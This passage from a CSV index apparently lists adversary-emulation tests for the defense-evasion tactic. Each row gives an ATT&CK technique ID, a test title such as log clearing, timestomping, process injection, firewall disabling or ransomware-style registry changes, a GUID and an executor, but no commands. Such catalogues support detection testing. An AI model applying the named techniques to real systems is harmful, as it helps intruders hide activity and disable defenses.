Modification: Windows File and Directory Permissions Modification,4,attrib - hide file,32b979da-7b68-42c9-9a99-0e39900fc36c,command_prompt +defense-evasion,T1222.001,File and Directory Permissions Modification: Windows File and Directory Permissions Modification,5,Grant Full Access to folder for Everyone - Ryuk Ransomware Style,ac7e6118-473d-41ec-9ac0-ef4f1d1ed2f6,command_prompt +defense-evasion,T1222.001,File and Directory Permissions Modification: Windows File and Directory Permissions Modification,6,SubInAcl Execution,a8568b10-9ab9-4140-a523-1c72e0176924,command_prompt +defense-evasion,T1218.007,Signed Binary Proxy Execution: Msiexec,1,Msiexec.exe - Execute Local MSI file with embedded JScript,a059b6c4-e7d6-4b2e-bcd7-9b2b33191a04,command_prompt +defense-evasion,T1218.007,Signed Binary Proxy Execution: Msiexec,2,Msiexec.exe - Execute Local MSI file with embedded VBScript,8d73c7b0-c2b1-4ac1-881a-4aa644f76064,command_prompt +defense-evasion,T1218.007,Signed Binary Proxy Execution: Msiexec,3,Msiexec.exe - Execute Local MSI file with an embedded DLL,628fa796-76c5-44c3-93aa-b9d8214fd568,command_prompt +defense-evasion,T1218.007,Signed Binary Proxy Execution: Msiexec,4,Msiexec.exe - Execute Local MSI file with an embedded EXE,ed3fa08a-ca18-4009-973e-03d13014d0e8,command_prompt +defense-evasion,T1218.007,Signed Binary Proxy Execution: Msiexec,5,WMI Win32_Product Class - Execute Local MSI file with embedded JScript,882082f0-27c6-4eec-a43c-9aa80bccdb30,powershell +defense-evasion,T1218.007,Signed Binary Proxy Execution: Msiexec,6,WMI Win32_Product Class - Execute Local MSI file with embedded VBScript,cf470d9a-58e7-43e5-b0d2-805dffc05576,powershell +defense-evasion,T1218.007,Signed Binary Proxy Execution: Msiexec,7,WMI Win32_Product Class - Execute Local MSI file with an embedded DLL,32eb3861-30da-4993-897a-42737152f5f8,powershell +defense-evasion,T1218.007,Signed Binary Proxy Execution: Msiexec,8,WMI Win32_Product Class - Execute Local MSI file with an embedded EXE,55080eb0-49ae-4f55-a440-4167b7974f79,powershell +defense-evasion,T1218.007,Signed Binary Proxy Execution: Msiexec,9,Msiexec.exe - Execute the DllRegisterServer function of a DLL,0106ffa5-fab6-4c7d-82e3-e6b8867d5e5d,command_prompt +defense-evasion,T1218.007,Signed Binary Proxy Execution: Msiexec,10,Msiexec.exe - Execute the DllUnregisterServer function of a DLL,ab09ec85-4955-4f9c-b8e0-6851baf4d47f,command_prompt +defense-evasion,T1218.007,Signed Binary Proxy Execution: Msiexec,11,Msiexec.exe - Execute Remote MSI file,44a4bedf-ffe3-452e-bee4-6925ab125662,command_prompt +defense-evasion,T1556.002,Modify Authentication Process: Password Filter DLL,1,Install and Register Password Filter DLL,a7961770-beb5-4134-9674-83d7e1fa865c,powershell +defense-evasion,T1556.002,Modify Authentication Process: Password Filter DLL,2,Install Additional Authentication Packages,91580da6-bc6e-431b-8b88-ac77180005f2,powershell +defense-evasion,T1070.003,Indicator Removal on Host: Clear Command History,1,Clear Bash history (rm),a934276e-2be5-4a36-93fd-98adbb5bd4fc,sh +defense-evasion,T1070.003,Indicator Removal on Host: Clear Command History,2,Clear Bash history (echo),cbf506a5-dd78-43e5-be7e-a46b7c7a0a11,sh +defense-evasion,T1070.003,Indicator Removal on Host: Clear Command History,3,Clear Bash history (cat dev/null),b1251c35-dcd3-4ea1-86da-36d27b54f31f,sh +defense-evasion,T1070.003,Indicator Removal on Host: Clear Command History,4,Clear Bash history (ln dev/null),23d348f3-cc5c-4ba9-bd0a-ae09069f0914,sh +defense-evasion,T1070.003,Indicator Removal on Host: Clear Command History,5,Clear Bash history (truncate),47966a1d-df4f-4078-af65-db6d9aa20739,sh +defense-evasion,T1070.003,Indicator Removal on Host: Clear Command History,6,Clear history of a bunch of shells,7e6721df-5f08-4370-9255-f06d8a77af4c,sh +defense-evasion,T1070.003,Indicator Removal on Host: Clear Command History,7,Clear and Disable Bash History Logging,784e4011-bd1a-4ecd-a63a-8feb278512e6,bash +defense-evasion,T1070.003,Indicator Removal on Host: Clear Command History,8,Use Space Before Command to Avoid Logging to History,53b03a54-4529-4992-852d-a00b4b7215a6,sh +defense-evasion,T1070.003,Indicator Removal on Host: Clear Command History,9,Disable Bash History Logging with SSH -T,5f8abd62-f615-43c5-b6be-f780f25790a1,sh +defense-evasion,T1070.003,Indicator Removal on Host: Clear Command History,10,Clear Docker Container Logs,553b39f9-1e8c-47b1-abf5-8daf7b0391e9,bash +defense-evasion,T1070.003,Indicator Removal on Host: Clear Command History,11,Prevent Powershell History Logging,2f898b81-3e97-4abb-bc3f-a95138988370,powershell +defense-evasion,T1070.003,Indicator Removal on Host: Clear Command History,12,Clear Powershell History by Deleting History File,da75ae8d-26d6-4483-b0fe-700e4df4f037,powershell +defense-evasion,T1070.003,Indicator Removal on Host: Clear Command History,13,Set Custom AddToHistoryHandler to Avoid History File Logging,1d0d9aa6-6111-4f89-927b-53e8afae7f94,powershell +defense-evasion,T1070.003,Indicator Removal on Host: Clear Command History,14,Clear PowerShell Session History,22c779cd-9445-4d3e-a136-f75adbf0315f,powershell +defense-evasion,T1202,Indirect Command Execution,1,Indirect Command Execution - pcalua.exe,cecfea7a-5f03-4cdd-8bc8-6f7c22862440,command_prompt +defense-evasion,T1202,Indirect Command Execution,2,Indirect Command Execution - forfiles.exe,8b34a448-40d9-4fc3-a8c8-4bb286faf7dc,command_prompt +defense-evasion,T1202,Indirect Command Execution,3,Indirect Command Execution - conhost.exe,cf3391e0-b482-4b02-87fc-ca8362269b29,command_prompt +defense-evasion,T1202,Indirect Command Execution,4,Indirect Command Execution - Scriptrunner.exe,0fd14730-6226-4f5e-8d67-43c65f1be940,powershell +defense-evasion,T1202,Indirect Command Execution,5,Indirect Command Execution - RunMRU Dialog,de323a93-2f18-4bd5-ba60-d6fca6aeff76,powershell +defense-evasion,T1140,Deobfuscate/Decode Files or Information,1,Deobfuscate/Decode Files Or Information,dc6fe391-69e6-4506-bd06-ea5eeb4082f8,command_prompt +defense-evasion,T1140,Deobfuscate/Decode Files or Information,2,Certutil Rename and Decode,71abc534-3c05-4d0c-80f7-cbe93cb2aa94,command_prompt +defense-evasion,T1140,Deobfuscate/Decode Files or Information,3,Base64 decoding with Python,356dc0e8-684f-4428-bb94-9313998ad608,sh +defense-evasion,T1140,Deobfuscate/Decode Files or Information,4,Base64 decoding with Perl,6604d964-b9f6-4d4b-8ce8-499829a14d0a,sh +defense-evasion,T1140,Deobfuscate/Decode Files or Information,5,Base64 decoding with shell utilities,b4f6a567-a27a-41e5-b8ef-ac4b4008bb7e,sh +defense-evasion,T1140,Deobfuscate/Decode Files or Information,6,Base64 decoding with shell utilities (freebsd),b6097712-c42e-4174-b8f2-4b1e1a5bbb3d,sh +defense-evasion,T1140,Deobfuscate/Decode Files or Information,7,FreeBSD b64encode Shebang in CLI,18ee2002-66e8-4518-87c5-c0ec9c8299ac,sh +defense-evasion,T1140,Deobfuscate/Decode Files or Information,8,Hex decoding with shell utilities,005943f9-8dd5-4349-8b46-0313c0a9f973,sh +defense-evasion,T1140,Deobfuscate/Decode Files or Information,9,Linux Base64 Encoded Shebang in CLI,3a15c372-67c1-4430-ac8e-ec06d641ce4d,sh +defense-evasion,T1140,Deobfuscate/Decode Files or Information,10,XOR decoding and command execution using Python,c3b65cd5-ee51-4e98-b6a3-6cbdec138efc,bash +defense-evasion,T1140,Deobfuscate/Decode Files or Information,11,Expand CAB with expand.exe,9f8b1c54-cb76-4d5e-bb1f-2f5c0e8f5a11,command_prompt +defense-evasion,T1562,Impair Defenses,1,Windows Disable LSA Protection,40075d5f-3a70-4c66-9125-f72bee87247d,command_prompt +defense-evasion,T1562,Impair Defenses,2,Disable journal logging via systemctl utility,c3a377f9-1203-4454-aa35-9d391d34768f,sh +defense-evasion,T1562,Impair Defenses,3,Disable journal logging via sed utility,12e5551c-8d5c-408e-b3e4-63f53b03379f,sh +defense-evasion,T1055.003,Thread Execution Hijacking,1,Thread Execution Hijacking,578025d5-faa9-4f6d-8390-aae527d503e1,powershell +defense-evasion,T1036,Masquerading,1,System File Copied to Unusual Location,51005ac7-52e2-45e0-bdab-d17c6d4916cd,powershell +defense-evasion,T1036,Masquerading,2,Malware Masquerading and Execution from Zip File,4449c89b-ec82-43a4-89c1-91e2f1abeecc,powershell +defense-evasion,T1070.008,Email Collection: Mailbox Manipulation,1,Copy and Delete Mailbox Data on Windows,d29f01ea-ac72-4efc-8a15-bea64b77fabf,powershell +defense-evasion,T1070.008,Email Collection: Mailbox Manipulation,2,Copy and Delete Mailbox Data on Linux,25e2be0e-96f7-4417-bd16-a4a2500e3802,bash +defense-evasion,T1070.008,Email Collection: Mailbox Manipulation,3,Copy and Delete Mailbox Data on macOS,3824130e-a6e4-4528-8091-3a52eeb540f6,bash +defense-evasion,T1070.008,Email Collection: Mailbox Manipulation,4,Copy and Modify Mailbox Data on Windows,edddff85-fee0-499d-9501-7d4d2892e79b,powershell +defense-evasion,T1070.008,Email Collection: Mailbox Manipulation,5,Copy and Modify Mailbox Data on Linux,6d99f93c-da56-49e3-b195-163090ace4f6,bash +defense-evasion,T1070.008,Email Collection: Mailbox Manipulation,6,Copy and Modify Mailbox Data on macOS,8a0b1579-5a36-483a-9cde-0236983e1665,bash +defense-evasion,T1055,Process Injection,1,Shellcode execution via VBA,1c91e740-1729-4329-b779-feba6e71d048,powershell +defense-evasion,T1055,Process Injection,2,Remote Process Injection in LSASS via mimikatz,3203ad24-168e-4bec-be36-f79b13ef8a83,command_prompt +defense-evasion,T1055,Process Injection,3,Section View Injection,c6952f41-6cf0-450a-b352-2ca8dae7c178,powershell +defense-evasion,T1055,Process Injection,4,Dirty Vanity process Injection,49543237-25db-497b-90df-d0a0a6e8fe2c,powershell +defense-evasion,T1055,Process Injection,5,Read-Write-Execute process Injection,0128e48e-8c1a-433a-a11a-a5387384f1e1,powershell +defense-evasion,T1055,Process Injection,6,Process Injection with Go using UuidFromStringA WinAPI,2315ce15-38b6-46ac-a3eb-5e21abef2545,powershell +defense-evasion,T1055,Process Injection,7,Process Injection with Go using EtwpCreateEtwThread WinAPI,7362ecef-6461-402e-8716-7410e1566400,powershell +defense-evasion,T1055,Process Injection,8,Remote Process Injection with Go using RtlCreateUserThread WinAPI,a0c1725f-abcd-40d6-baac-020f3cf94ecd,powershell +defense-evasion,T1055,Process Injection,9,Remote Process Injection with Go using CreateRemoteThread WinAPI,69534efc-d5f5-4550-89e6-12c6457b9edd,powershell +defense-evasion,T1055,Process Injection,10,Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively),2a4ab5c1-97ad-4d6d-b5d3-13f3a6c94e39,powershell +defense-evasion,T1055,Process Injection,11,Process Injection with Go using CreateThread WinAPI,2871ed59-3837-4a52-9107-99500ebc87cb,powershell +defense-evasion,T1055,Process Injection,12,Process Injection with Go using CreateThread WinAPI (Natively),2a3c7035-d14f-467a-af94-933e49fe6786,powershell +defense-evasion,T1055,Process Injection,13,UUID custom process Injection,0128e48e-8c1a-433a-a11a-a5304734f1e1,powershell +defense-evasion,T1218,Signed Binary Proxy Execution,1,mavinject - Inject DLL into running process,c426dacf-575d-4937-8611-a148a86a5e61,command_prompt +defense-evasion,T1218,Signed Binary Proxy Execution,2,Register-CimProvider - Execute evil dll,ad2c17ed-f626-4061-b21e-b9804a6f3655,command_prompt +defense-evasion,T1218,Signed Binary Proxy Execution,3,InfDefaultInstall.exe .inf Execution,54ad7d5a-a1b5-472c-b6c4-f8090fb2daef,command_prompt +defense-evasion,T1218,Signed Binary Proxy Execution,4,ProtocolHandler.exe Downloaded a Suspicious File,db020456-125b-4c8b-a4a7-487df8afb5a2,command_prompt +defense-evasion,T1218,Signed Binary Proxy Execution,5,Microsoft.Workflow.Compiler.exe Payload Execution,7cbb0f26-a4c1-4f77-b180-a009aa05637e,powershell +defense-evasion,T1218,Signed Binary Proxy Execution,6,Renamed Microsoft.Workflow.Compiler.exe Payload Executions,4cc40fd7-87b8-4b16-b2d7-57534b86b911,powershell +defense-evasion,T1218,Signed Binary Proxy Execution,7,Invoke-ATHRemoteFXvGPUDisablementCommand base test,9ebe7901-7edf-45c0-b5c7-8366300919db,powershell +defense-evasion,T1218,Signed Binary Proxy Execution,8,DiskShadow Command Execution,0e1483ba-8f0c-425d-b8c6-42736e058eaa,powershell +defense-evasion,T1218,Signed Binary Proxy Execution,9,Load Arbitrary DLL via Wuauclt (Windows Update Client),49fbd548-49e9-4bb7-94a6-3769613912b8,command_prompt +defense-evasion,T1218,Signed Binary Proxy Execution,10,Lolbin Gpscript logon option,5bcda9cd-8e85-48fa-861d-b5a85d91d48c,command_prompt +defense-evasion,T1218,Signed Binary Proxy Execution,11,Lolbin Gpscript startup option,f8da74bb-21b8-4af9-8d84-f2c8e4a220e3,command_prompt +defense-evasion,T1218,Signed Binary Proxy Execution,12,Lolbas ie4uinit.exe use as proxy,13c0804e-615e-43ad-b223-2dfbacd0b0b3,command_prompt +defense-evasion,T1218,Signed Binary Proxy Execution,13,LOLBAS CustomShellHost to Spawn Process,b1eeb683-90bb-4365-bbc2-2689015782fe,powershell +defense-evasion,T1218,Signed Binary Proxy Execution,14,Provlaunch.exe Executes Arbitrary Command via Registry Key,ab76e34f-28bf-441f-a39c-8db4835b89cc,command_prompt +defense-evasion,T1218,Signed Binary Proxy Execution,15,LOLBAS Msedge to Spawn Process,e5eedaed-ad42-4c1e-8783-19529738a349,powershell +defense-evasion,T1218,Signed Binary Proxy Execution,16,System Binary Proxy Execution - Wlrmdr Lolbin,7816c252-b728-4ea6-a683-bd9441ca0b71,powershell +defense-evasion,T1070.006,Indicator Removal on Host: Timestomp,1,Set a file's access timestamp,5f9113d5-ed75-47ed-ba23-ea3573d05810,sh +defense-evasion,T1070.006,Indicator Removal on Host: Timestomp,2,Set a file's modification timestamp,20ef1523-8758-4898-b5a2-d026cc3d2c52,sh +defense-evasion,T1070.006,Indicator Removal on Host: Timestomp,3,Set a file's creation timestamp,8164a4a6-f99c-4661-ac4f-80f5e4e78d2b,sh +defense-evasion,T1070.006,Indicator Removal on Host: Timestomp,4,Modify file timestamps using reference file,631ea661-d661-44b0-abdb-7a7f3fc08e50,sh +defense-evasion,T1070.006,Indicator Removal on Host: Timestomp,5,Windows - Modify file creation timestamp with PowerShell,b3b2c408-2ff0-4a33-b89b-1cb46a9e6a9c,powershell +defense-evasion,T1070.006,Indicator Removal on Host: Timestomp,6,Windows - Modify file last modified timestamp with PowerShell,f8f6634d-93e1-4238-8510-f8a90a20dcf2,powershell +defense-evasion,T1070.006,Indicator Removal on Host: Timestomp,7,Windows - Modify file last access timestamp with PowerShell,da627f63-b9bd-4431-b6f8-c5b44d061a62,powershell +defense-evasion,T1070.006,Indicator Removal on Host: Timestomp,8,Windows - Timestomp a File,d7512c33-3a75-4806-9893-69abc3ccdd43,powershell +defense-evasion,T1070.006,Indicator Removal on Host: Timestomp,9,MacOS - Timestomp Date Modified,87fffff4-d371-4057-a539-e3b24c37e564,sh +defense-evasion,T1070.006,Indicator Removal on Host: Timestomp,10,Event Log Manipulations- Time slipping via Powershell,7bcf83bf-f5ef-425c-9d9a-71618ad9ed12,powershell +defense-evasion,T1620,Reflective Code Loading,1,WinPwn - Reflectively load Mimik@tz into memory,56b9589c-9170-4682-8c3d-33b86ecb5119,powershell +defense-evasion,T1497.003,Time Based Evasion,1,Delay execution with ping,8b87dd03-8204-478c-bac3-3959f6528de3,sh +defense-evasion,T1218.003,Signed Binary Proxy Execution: CMSTP,1,CMSTP Executing Remote Scriptlet,34e63321-9683-496b-bbc1-7566bc55e624,command_prompt +defense-evasion,T1218.003,Signed Binary Proxy Execution: CMSTP,2,CMSTP Executing UAC Bypass,748cb4f6-2fb3-4e97-b7ad-b22635a09ab0,command_prompt +defense-evasion,T1562.002,Impair Defenses: Disable Windows Event Logging,1,Disable Windows IIS HTTP Logging,69435dcf-c66f-4ec0-a8b1-82beb76b34db,powershell +defense-evasion,T1562.002,Impair Defenses: Disable Windows Event Logging,2,Disable Windows IIS HTTP Logging via PowerShell,a957fb0f-1e85-49b2-a211-413366784b1e,powershell +defense-evasion,T1562.002,Impair Defenses: Disable Windows Event Logging,3,Kill Event Log Service Threads,41ac52ba-5d5e-40c0-b267-573ed90489bd,powershell +defense-evasion,T1562.002,Impair Defenses: Disable Windows Event Logging,4,Impair Windows Audit Log Policy,5102a3a7-e2d7-4129-9e45-f483f2e0eea8,command_prompt +defense-evasion,T1562.002,Impair Defenses: Disable Windows Event Logging,5,Clear Windows Audit Policy Config,913c0e4e-4b37-4b78-ad0b-90e7b25010f6,command_prompt +defense-evasion,T1562.002,Impair Defenses: Disable Windows Event Logging,6,Disable Event Logging with wevtutil,b26a3340-dad7-4360-9176-706269c74103,command_prompt +defense-evasion,T1562.002,Impair Defenses: Disable Windows Event Logging,7,Makes Eventlog blind with Phant0m,3ddf3d03-f5d6-462a-ad76-2c5ff7b6d741,command_prompt +defense-evasion,T1562.002,Impair Defenses: Disable Windows Event Logging,8,Modify Event Log Channel Access Permissions via Registry - PowerShell,8e81d090-0cd6-4d46-863c-eec11311298f,powershell +defense-evasion,T1562.002,Impair Defenses: Disable Windows Event Logging,9,Modify Event Log Channel Access Permissions via Registry 2 - PowerShell,85e6eff8-3ed4-4e03-ae50-aa6a404898a5,powershell +defense-evasion,T1562.002,Impair Defenses: Disable Windows Event Logging,10,Modify Event Log Access Permissions via Registry - PowerShell,a0cb81f8-44d0-4ac4-a8f3-c5c7f43a12c1,powershell +defense-evasion,T1218.002,Signed Binary Proxy Execution: Control Panel,1,Control Panel Items,037e9d8a-9e46-4255-8b33-2ae3b545ca6f,command_prompt +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,1,Disable Microsoft Defender Firewall,88d05800-a5e4-407e-9b53-ece4174f197f,command_prompt +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,2,Disable Microsoft Defender Firewall via Registry,afedc8c4-038c-4d82-b3e5-623a95f8a612,command_prompt +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,3,Allow SMB and RDP on Microsoft Defender Firewall,d9841bf8-f161-4c73-81e9-fd773a5ff8c1,command_prompt +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,4,Opening ports for proxy - HARDRAIN,15e57006-79dd-46df-9bf9-31bc24fb5a80,command_prompt +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,5,Open a local port through Windows Firewall to any profile,9636dd6e-7599-40d2-8eee-ac16434f35ed,powershell +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,6,Allow Executable Through Firewall Located in Non-Standard Location,6f5822d2-d38d-4f48-9bfc-916607ff6b8c,powershell +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,7,Stop/Start UFW firewall,fe135572-edcd-49a2-afe6-1d39521c5a9a,sh +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,8,Stop/Start Packet Filter,0ca82ed1-0a94-4774-9a9a-a2c83a8022b7,sh +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,9,Stop/Start UFW firewall systemctl,9fd99609-1854-4f3c-b47b-97d9a5972bd1,sh +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,10,Turn off UFW logging,8a95b832-2c2a-494d-9cb0-dc9dd97c8bad,sh +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,11,Add and delete UFW firewall rules,b2563a4e-c4b8-429c-8d47-d5bcb227ba7a,sh +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,12,Add and delete Packet Filter rules,8b23cae1-66c1-41c5-b79d-e095b6098b5b,sh +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,13,Edit UFW firewall user.rules file,beaf815a-c883-4194-97e9-fdbbb2bbdd7c,sh +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,14,Edit UFW firewall ufw.conf file,c1d8c4eb-88da-4927-ae97-c7c25893803b,sh +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,15,Edit UFW firewall sysctl.conf file,c4ae0701-88d3-4cd8-8bce-4801ed9f97e4,sh +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,16,Edit UFW firewall main configuration file,7b697ece-8270-46b5-bbc7-6b9e27081831,sh +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,17,Tail the UFW firewall log file,419cca0c-fa52-4572-b0d7-bc7c6f388a27,sh +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,18,Disable iptables,7784c64e-ed0b-4b65-bf63-c86db229fd56,sh +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,19,Modify/delete iptables firewall rules,899a7fb5-d197-4951-8614-f19ac4a73ad4,sh +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,20,LockBit Black - Unusual Windows firewall registry modification -cmd,a4651931-ebbb-4cde-9363-ddf3d66214cb,command_prompt +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,21,LockBit Black - Unusual Windows firewall registry modification -Powershell,80b453d1-eec5-4144-bf08-613a6c3ffe12,powershell +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,22,Blackbit - Disable Windows Firewall using netsh firewall,91f348e6-3760-4997-a93b-2ceee7f254ee,command_prompt +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,23,ESXi - Disable Firewall via Esxcli,bac8a340-be64-4491-a0cc-0985cb227f5a,command_prompt +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,24,Set a firewall rule using New-NetFirewallRule,94be7646-25f6-467e-af23-585fb13000c8,powershell +defense-evasion,T1562.004,Impair Defenses: Disable or Modify System Firewall,25,ESXi - Set Firewall to PASS Traffic,a67e8aea-ea7c-4c3b-9b1b-8c2957c3091d,command_prompt +defense-evasion,T1553.003,Subvert Trust Controls: SIP and Trust Provider Hijacking,1,SIP (Subject Interface Package) Hijacking via Custom DLL,e12f5d8d-574a-4e9d-8a84-c0e8b4a8a675,command_prompt +defense-evasion,T1562.012,Impair Defenses: Disable or Modify Linux Audit System,1,Delete all auditd rules using auditctl,33a29ab1-cabb-407f-9448-269041bf2856,sh +defense-evasion,T1562.012,Impair Defenses: Disable or Modify Linux Audit System,2,Disable auditd using auditctl,7906f0a6-b527-46ee-9026-6e81a9184e08,sh +defense-evasion,T1207,Rogue Domain Controller,1,DCShadow (Active Directory),0f4c5eb0-98a0-4496-9c3d-656b4f2bc8f6,powershell +defense-evasion,T1553.006,Subvert Trust Controls: Code Signing Policy Modification,1,Code Signing Policy Modification,bb6b51e1-ab92-45b5-aeea-e410d06405f8,command_prompt +defense-evasion,T1610,Deploy a container,1,Deploy Docker container,59aa6f26-7620-417e-9318-589e0fb7a372,bash +defense-evasion,T1112,Modify Registry,1,Modify Registry of Current User Profile - cmd,1324796b-d0f6-455a-b4ae-21ffee6aa6b9,command_prompt +defense-evasion,T1112,Modify Registry,2,Modify Registry of Local Machine - cmd,282f929a-6bc5-42b8-bd93-960c3ba35afe,command_prompt +defense-evasion,T1112,Modify Registry,3,Modify registry to store logon credentials,c0413fb5-33e2-40b7-9b6f-60b29f4a7a18,command_prompt +defense-evasion,T1112,Modify Registry,4,Use Powershell to Modify registry to store logon credentials,68254a85-aa42-4312-a695-38b7276307f8,powershell +defense-evasion,T1112,Modify Registry,5,Add domain to Trusted sites Zone,cf447677-5a4e-4937-a82c-e47d254afd57,powershell +defense-evasion,T1112,Modify Registry,6,Javascript in registry,15f44ea9-4571-4837-be9e-802431a7bfae,powershell +defense-evasion,T1112,Modify Registry,7,Change Powershell Execution Policy to Bypass,f3a6cceb-06c9-48e5-8df8-8867a6814245,powershell +defense-evasion,T1112,Modify Registry,8,BlackByte Ransomware Registry Changes - CMD,4f4e2f9f-6209-4fcf-9b15-3b7455706f5b,command_prompt +defense-evasion,T1112,Modify Registry,9,BlackByte Ransomware Registry Changes - Powershell,0b79c06f-c788-44a2-8630-d69051f1123d,powershell +defense-evasion,T1112,Modify Registry,10,Disable Windows Registry Tool,ac34b0f7-0f85-4ac0-b93e-3ced2bc69bb8,command_prompt +defense-evasion,T1112,Modify Registry,11,Disable Windows CMD application,d2561a6d-72bd-408c-b150-13efe1801c2a,powershell +defense-evasion,T1112,Modify Registry,12,Disable Windows Task Manager application,af254e70-dd0e-4de6-9afe-a994d9ea8b62,command_prompt +defense-evasion,T1112,Modify Registry,13,Disable Windows Notification Center,c0d6d67f-1f63-42cc-95c0-5fd6b20082ad,command_prompt +defense-evasion,T1112,Modify Registry,14,Disable Windows Shutdown Button,6e0d1131-2d7e-4905-8ca5-d6172f05d03d,command_prompt +defense-evasion,T1112,Modify Registry,15,Disable Windows LogOff Button,e246578a-c24d-46a7-9237-0213ff86fb0c,command_prompt +defense-evasion,T1112,Modify Registry,16,Disable Windows Change Password Feature,d4a6da40-618f-454d-9a9e-26af552aaeb0,command_prompt +defense-evasion,T1112,Modify Registry,17,Disable Windows Lock Workstation Feature,3dacb0d2-46ee-4c27-ac1b-f9886bf91a56,command_prompt +defense-evasion,T1112,Modify Registry,18,Activate Windows NoDesktop Group Policy Feature,93386d41-525c-4a1b-8235-134a628dee17,command_prompt +defense-evasion,T1112,Modify Registry,19,Activate Windows NoRun Group Policy Feature,d49ff3cc-8168-4123-b5b3-f057d9abbd55,command_prompt +defense-evasion,T1112,Modify Registry,20,Activate Windows NoFind Group Policy Feature,ffbb407e-7f1d-4c95-b22e-548169db1fbd,command_prompt +defense-evasion,T1112,Modify Registry,21,Activate Windows NoControlPanel Group Policy Feature,a450e469-ba54-4de1-9deb-9023a6111690,command_prompt +defense-evasion,T1112,Modify Registry,22,Activate Windows NoFileMenu Group Policy Feature,5e27bdb4-7fd9-455d-a2b5-4b4b22c9dea4,command_prompt +defense-evasion,T1112,Modify Registry,23,Activate Windows NoClose Group Policy Feature,12f50e15-dbc6-478b-a801-a746e8ba1723,command_prompt +defense-evasion,T1112,Modify Registry,24,Activate Windows NoSetTaskbar Group Policy Feature,d29b7faf-7355-4036-9ed3-719bd17951ed,command_prompt +defense-evasion,T1112,Modify Registry,25,Activate Windows NoTrayContextMenu Group Policy Feature,4d72d4b1-fa7b-4374-b423-0fe326da49d2,command_prompt +defense-evasion,T1112,Modify Registry,26,Activate Windows NoPropertiesMyDocuments Group Policy Feature,20fc9daa-bd48-4325-9aff-81b967a84b1d,command_prompt +defense-evasion,T1112,Modify Registry,27,Hide Windows Clock Group Policy Feature,8023db1e-ad06-4966-934b-b6a0ae52689e,command_prompt +defense-evasion,T1112,Modify Registry,28,Windows HideSCAHealth Group Policy Feature,a4637291-40b1-4a96-8c82-b28f1d73e54e,command_prompt +defense-evasion,T1112,Modify Registry,29,Windows HideSCANetwork Group Policy Feature,3e757ce7-eca0-411a-9583-1c33b8508d52,command_prompt +defense-evasion,T1112,Modify Registry,30,Windows HideSCAPower Group Policy Feature,8d85a5d8-702f-436f-bc78-fcd9119496fc,command_prompt +defense-evasion,T1112,Modify Registry,31,Windows HideSCAVolume Group Policy Feature,7f037590-b4c6-4f13-b3cc-e424c5ab8ade,command_prompt +defense-evasion,T1112,Modify Registry,32,Windows Modify Show Compress Color And Info Tip Registry,795d3248-0394-4d4d-8e86-4e8df2a2693f,command_prompt +defense-evasion,T1112,Modify Registry,33,Windows Powershell Logging Disabled,95b25212-91a7-42ff-9613-124aca6845a8,command_prompt +defense-evasion,T1112,Modify Registry,34,Windows Add Registry Value to Load Service in Safe Mode without Network,1dd59fb3-1cb3-4828-805d-cf80b4c3bbb5,command_prompt +defense-evasion,T1112,Modify Registry,35,Windows Add Registry Value to Load Service in Safe Mode with Network,c173c948-65e5-499c-afbe-433722ed5bd4,command_prompt +defense-evasion,T1112,Modify Registry,36,Disable Windows Toast Notifications,003f466a-6010-4b15-803a-cbb478a314d7,command_prompt +defense-evasion,T1112,Modify Registry,37,Disable Windows Security Center Notifications,45914594-8df6-4ea9-b3cc-7eb9321a807e,command_prompt +defense-evasion,T1112,Modify Registry,38,Suppress Win Defender Notifications,c30dada3-7777-4590-b970-dc890b8cf113,command_prompt +defense-evasion,T1112,Modify Registry,39,Allow RDP Remote Assistance Feature,86677d0e-0b5e-4a2b-b302-454175f9aa9e,command_prompt +defense-evasion,T1112,Modify Registry,40,NetWire RAT Registry Key Creation,65704cd4-6e36-4b90-b6c1-dc29a82c8e56,command_prompt +defense-evasion,T1112,Modify Registry,41,Ursnif Malware Registry Key Creation,c375558d-7c25-45e9-bd64-7b23a97c1db0,command_prompt +defense-evasion,T1112,Modify Registry,42,Terminal Server Client Connection History Cleared,3448824b-3c35-4a9e-a8f5-f887f68bea21,command_prompt +defense-evasion,T1112,Modify Registry,43,Disable Windows Error Reporting Settings,d2c9e41e-cd86-473d-980d-b6403562e3e1,command_prompt +defense-evasion,T1112,Modify Registry,44,DisallowRun Execution Of Certain Applications,71db768a-5a9c-4047-b5e7-59e01f188e84,command_prompt +defense-evasion,T1112,Modify Registry,45,Enabling Restricted Admin Mode via Command_Prompt,fe7974e5-5813-477b-a7bd-311d4f535e83,command_prompt +defense-evasion,T1112,Modify Registry,46,Mimic Ransomware - Enable Multiple User Sessions,39f1f378-ba8a-42b3-96dc-2a6540cfc1e3,command_prompt +defense-evasion,T1112,Modify Registry,47,Mimic Ransomware - Allow Multiple RDP Sessions per User,35727d9e-7a7f-4d0c-a259-dc3906d6e8b9,command_prompt +defense-evasion,T1112,Modify Registry,48,Event Viewer Registry Modification - Redirection URL,6174be7f-5153-4afd-92c5-e0c3b7cdb5ae,command_prompt +defense-evasion,T1112,Modify Registry,49,Event Viewer Registry Modification - Redirection Program,81483501-b8a5-4225-8b32-52128e2f69db,command_prompt 